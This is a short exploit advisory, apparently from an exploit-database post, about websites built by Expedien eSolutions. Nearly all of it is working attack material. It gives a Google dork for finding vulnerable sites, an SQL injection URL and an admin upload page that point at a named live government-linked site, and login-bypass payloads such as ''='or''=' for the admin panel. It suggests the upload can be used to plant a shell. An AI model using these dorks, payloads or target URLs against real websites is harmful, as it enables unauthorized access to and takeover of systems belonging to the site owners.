# Exploit Title: Expediensolutions Upload Shell and Sql injection Vulnerability # Google Dork: intext:"Design & Developed by Expedien esolutions Ltd" # Date: 2018-05-26 # Exploit Author: Iran Cyber Security Group # Vendor Homepage: http://expediensolutions.com/ # Tested on: Windows * davala #################################### #Examples: sql injection:http://www.rvnl.org/content.php?id=23 ' admin bypass: #example : http://www.site.com/admin/login.php email: '='or''=' password: 'or''=' and Upload file.... http://rvnl.org/admin/edit_news_release.php?id=98&s=1 #demo: http://rvnl.org/admin #################################### Good luck